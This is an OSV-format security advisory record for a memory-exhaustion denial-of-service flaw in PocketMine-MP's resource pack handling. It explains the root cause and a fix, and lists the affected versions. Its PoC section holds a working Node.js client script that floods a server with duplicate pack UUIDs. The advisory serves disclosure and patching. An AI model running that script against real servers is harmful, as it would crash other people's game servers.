{"id":"GHSA-fqqv-56h5-f57g","summary":"PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking","details":"### Summary\n\nA denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`.\nPocketMine-MP processes the `packIds` array without verifying that all entries are unique.\nA malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.\nSeverity: **High** — Remote DoS from an authenticated client.\n\n---\n\n### Details\n\nRelevant code (simplified):\n\n```php\ncase ResourcePackClientResponsePacket::STATUS_SEND_PACKS:\n    foreach($packet-\u003epackIds as $uuid){\n        $splitPos = strpos($uuid, \"_\");\n        if($splitPos !== false){\n            $uuid = substr($uuid, 0, $splitPos);\n        }\n        $pack = $this-\u003egetPackById($uuid);\n        if(!($pack instanceof ResourcePack)){\n            $this-\u003edisconnectWithError(\"Unknown pack $uuid requested...\");\n            return false;\n        }\n        $this-\u003esession-\u003esendDataPacket(ResourcePackDataInfoPacket::create(\n            $pack-\u003egetPackId(),\n            self::PACK_CHUNK_SIZE,\n            (int) ceil($pack-\u003egetPackSize() / self::PACK_CHUNK_SIZE),\n            $pack-\u003egetPackSize(),\n            $pack-\u003egetSha256(),\n            false,\n            ResourcePackType::RESOURCES\n        ));\n    }\n    break;\n```\n\n**Root cause:**\n\n* The `packIds` array is taken directly from the client packet and processed as-is.\n* There is no check to ensure that all requested packs are unique.\n* A malicious client can craft a `STATUS_SEND_PACKS` packet with many duplicates of a valid UUID.\n* Each duplicate results in the server re-sending the same pack, consuming additional memory.\n\n**Why this is unexpected:**\n\n* Mojang's official clients never send duplicates in `packIds`.\n* PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.\n\n---\n\n**Suggested fix:**\nBefore sending packs:\n\n1. Remove duplicates from the incoming `packIds` array.\n2. If the difference between the original count and unique count exceeds a small threshold (e.g. \u003e 2 duplicates), immediately disconnect the client with an error.\n3. Track which packs have already been sent to this player, and skip any that have already been transferred.\n\n```php\n$alreadySent = $this-\u003epacksSent ?? [];\n\n// Remove duplicates\n$uniquePackIds = array_unique($packet-\u003epackIds);\n\n// Detect abuse\nif(count($packet-\u003epackIds) - count($uniquePackIds) \u003e 2){\n    $this-\u003edisconnectWithError(\"Too many duplicate resource pack requests\");\n    return false;\n}\n\nforeach($uniquePackIds as $uuid){\n    if(in_array($uuid, $alreadySent, true)){\n        continue; // Skip packs already sent to this player\n    }\n    // existing code...\n    $alreadySent[] = $uuid;\n}\n\n$this-\u003epacksSent = $alreadySent;\n```\n\n---\n\n### PoC\n\n1. Join a PocketMine-MP server with at least one resource pack enabled.\n2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with:\n\n   * `status = STATUS_SEND_PACKS`\n   * `packIds` = many duplicates of a known valid pack UUID.\n\nExample Node.js PoC (requires `bedrock-protocol` and a valid `PACK_UUID`):\n\n```js\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'test';\nconst PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID\nconst DUPLICATES = 1000;\n\nconst client = createClient({\n    host,\n    port,\n    username,\n    offline: true\n});\n\nclient.on('spawn', () =\u003e {\n    console.log('[*] Sending duplicate pack request...');\n    client.queue('resource_pack_client_response', {\n        response_status: 'send_packs',\n        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)\n    });\n});\n```\n\n---\n\n### Impact\n\n* **Type:** Remote Denial of Service / Memory Exhaustion\n* **Who is impacted:** Any PocketMine-MP server with resource packs enabled\n* **Requirements:** Attacker must connect to the server (authenticated player)\n* **Effect:** Server memory rapidly increases, leading to freeze or crash","aliases":["CVE-2025-71417"],"modified":"2026-09-10T03:56:07.463863435Z","published":"2025-09-02T16:52:51Z","database_specific":{"cwe_ids":["CWE-770"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2025-09-02T16:52:51Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-fqqv-56h5-f57g"},{"type":"WEB","url":"https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a"},{"type":"WEB","url":"https://github.com/pmmp/PocketMine-MP/commit/e375437439df51f7862b6b98318394643fcd6724"},{"type":"PACKAGE","url":"https://github.com/pmmp/PocketMine-MP"},{"type":"WEB","url":"https://github.com/pmmp/PocketMine-MP/releases/tag/5.32.1"}],"affected":[{"package":{"name":"pocketmine/pocketmine-mp","ecosystem":"Packagist","purl":"pkg:composer/pocketmine/pocketmine-mp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.32.1"}]}],"versions":["3.0.0","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.10.0","3.10.1","3.11.0","3.11.1","3.11.2","3.11.3","3.11.4","3.11.5","3.11.6","3.11.7","3.12.0","3.12.1","3.12.2","3.12.3","3.12.4","3.12.5","3.12.6","3.13.0","3.13.1","3.14.0","3.14.1","3.14.2","3.14.3","3.15.0","3.15.1","3.15.2","3.15.3","3.15.4","3.16.0","3.16.1","3.17.0","3.17.1","3.17.2","3.17.3","3.17.4","3.17.5","3.17.6","3.17.7","3.18.0","3.18.1","3.18.2","3.19.0","3.19.1","3.19.2","3.19.3","3.2.0","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.20.0","3.21.0","3.21.1","3.22.0","3.22.1","3.22.2","3.22.3","3.22.4","3.22.5","3.23.0","3.23.1","3.24.0","3.25.0","3.25.1","3.25.2","3.25.3","3.25.4","3.25.5","3.25.6","3.26.0","3.26.1","3.26.2","3.26.3","3.26.4","3.26.5","3.27.0","3.28.0","3.3.0","3.3.1","3.3.2","3.3.3","3.3.4","3.4.0","3.4.1","3.4.2","3.4.3","3.5.0","3.5.1","3.5.10","3.5.11","3.5.12","3.5.13","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.7.0","3.7.1","3.7.2","3.7.3","3.8.0","3.8.1","3.8.2","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.9.0","3.9.1","3.9.2","3.9.3","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","4.0.0","4.0.0-BETA1","4.0.0-BETA10","4.0.0-BETA11","4.0.0-BETA12","4.0.0-BETA13","4.0.0-BETA14","4.0.0-BETA15","4.0.0-BETA2","4.0.0-BETA3","4.0.0-BETA4","4.0.0-BETA5","4.0.0-BETA6","4.0.0-BETA7","4.0.0-BETA8","4.0.0-BETA9","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-BETA1","4.1.0-BETA2","4.10.0","4.10.1","4.10.2","4.11.0","4.11.0-BETA1","4.11.0-BETA2","4.12.0","4.12.1","4.12.10","4.12.11","4.12.2","4.12.3","4.12.4","4.12.5","4.12.6","4.12.7","4.12.8","4.12.9","4.13.0","4.13.0-BETA1","4.14.0","4.14.1","4.15.0","4.15.1","4.15.2","4.15.3","4.16.0","4.16.0-BETA1","4.16.0-BETA2","4.17.0","4.17.1","4.17.2","4.18.0","4.18.0-ALPHA1","4.18.0-ALPHA2","4.18.1","4.18.2","4.18.3","4.18.4","4.19.0","4.19.1","4.19.2","4.19.3","4.2.0","4.2.1","4.2.10","4.2.2","4.2.3","4.2.4","4.2.5","4.2.6","4.2.7","4.2.8","4.2.9","4.20.0","4.20.1","4.20.2","4.20.3","4.20.4","4.20.5","4.21.0","4.21.1","4.22.0","4.22.1","4.22.2","4.22.3","4.23.0","4.23.1","4.23.2","4.23.3","4.23.4","4.23.5","4.23.6","4.24.0","4.25.0","4.26.0","4.3.0","4.3.1","4.3.2","4.3.3","4.3.4","4.4.0","4.4.0-BETA1","4.4.1","4.4.2","4.5.0","4.5.1","4.5.2","4.6.0","4.6.1","4.6.2","4.7.0","4.7.1","4.7.2","4.7.3","4.8.0","4.8.1","4.9.0","4.9.1","5.0.0","5.0.0-ALPHA1","5.0.0-ALPHA2","5.0.0-ALPHA3","5.0.0-ALPHA4","5.0.0-ALPHA5","5.0.0-ALPHA6","5.0.0-ALPHA7","5.0.0-ALPHA8","5.0.0-ALPHA9","5.0.0-BETA1","5.0.0-BETA2","5.0.0-BETA3","5.0.0-BETA4","5.0.1","5.1.0","5.1.1","5.1.2","5.1.3","5.10.0","5.11.0","5.11.1","5.11.2","5.12.0","5.12.1","5.13.0","5.14.0","5.14.1","5.15.0","5.16.0","5.17.0","5.17.1","5.18.0","5.18.1","5.19.0","5.2.0","5.2.1","5.20.0","5.20.1","5.21.0","5.21.1","5.21.2","5.22.0","5.23.0","5.23.1","5.23.2","5.23.3","5.24.0","5.25.0","5.25.1","5.25.2","5.26.0","5.27.0","5.27.1","5.28.0","5.28.1","5.28.2","5.29.0","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.30.0","5.30.1","5.31.0","5.32.0","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.5.0","5.5.0-BETA1","5.6.0","5.6.1","5.7.0","5.7.1","5.8.1","5.8.2","5.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-fqqv-56h5-f57g/GHSA-fqqv-56h5-f57g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}